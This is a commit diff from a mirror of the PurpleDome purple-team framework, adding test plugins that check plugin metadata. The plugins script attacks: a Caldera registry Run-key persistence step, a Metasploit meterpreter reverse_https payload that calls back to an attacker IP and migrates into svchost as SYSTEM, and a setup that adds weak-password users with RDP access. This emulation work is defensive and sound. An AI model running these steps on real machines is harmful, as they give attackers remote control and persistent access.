mirror of https://github.com/avast/PurpleDome
Enforcing proper plugin boilerplate
Thorsten Sick
3 years ago
parent
f9616c1d75
commit
17ec685400
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
from app.interface_sfx import CommandlineColors
|
||||
|
||||
|
||||
class CalderaAutostartPlugin1(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "caldera_autostart_1"
|
||||
description = "Setting a registry key for autostart"
|
||||
ttp = "T1547.001"
|
||||
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
requirements = [Requirement.CALDERA]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
res = ""
|
||||
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
self.caldera_attack(self.targets[0],
|
||||
"163b023f43aba758d36f524d146cb8ea",
|
||||
parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"},
|
||||
tactics="Persistence",
|
||||
tactics_id="TA0003",
|
||||
situation_description="Setting an autorun key runonce")
|
||||
self.attack_logger.vprint(
|
||||
f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1)
|
||||
|
||||
return res
|
||||
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "no TTP"
|
||||
description = "This one has no ttp"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
||||
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_no_description"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
||||
@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
import socket
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
description = "This one has no name"
|
||||
ttp = "T1055"
|
||||
references = ["https://attack.mitre.org/techniques/T1055/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
|
||||
self.metasploit.smart_infect(target,
|
||||
payload=payload_type,
|
||||
architecture="x64",
|
||||
platform="windows",
|
||||
lhost=ip,
|
||||
format="exe",
|
||||
outfile=payload_name
|
||||
)
|
||||
|
||||
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
|
||||
|
||||
return res
|
||||
@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||
|
||||
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||
|
||||
|
||||
class VulnerabilityOk(VulnerabilityPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "vulnerability_ok"
|
||||
description = "Adding users with weak passwords"
|
||||
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def start(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
# Add vulnerable user
|
||||
# mkpasswd -m sha-512 # To calc the passwd
|
||||
# This is in the debian package "whois"
|
||||
|
||||
for user in self.conf["linux"]:
|
||||
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# net user username password /add
|
||||
cmd = f"net user {user['name']} {user['password']} /add"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
for user in self.conf["windows"]:
|
||||
# Adding the new users to RDP (just in case we want to test RDP)
|
||||
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
def stop(self):
|
||||
|
||||
if self.machine_plugin.config.os() == "linux":
|
||||
for user in self.conf["linux"]:
|
||||
# Remove user
|
||||
cmd = f"sudo userdel -r {user['name']}"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
elif self.machine_plugin.config.os() == "windows":
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f"net user {user['name']} /delete"
|
||||
self.run_cmd(cmd)
|
||||
|
||||
# Remove the new users to RDP (just in case we want to test RDP)
|
||||
for user in self.conf["windows"]:
|
||||
# net user username /delete
|
||||
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||
self.run_cmd(cmd)
|
||||
|
||||
else:
|
||||
raise NotImplementedError
|
||||
Loading…
Reference in New Issue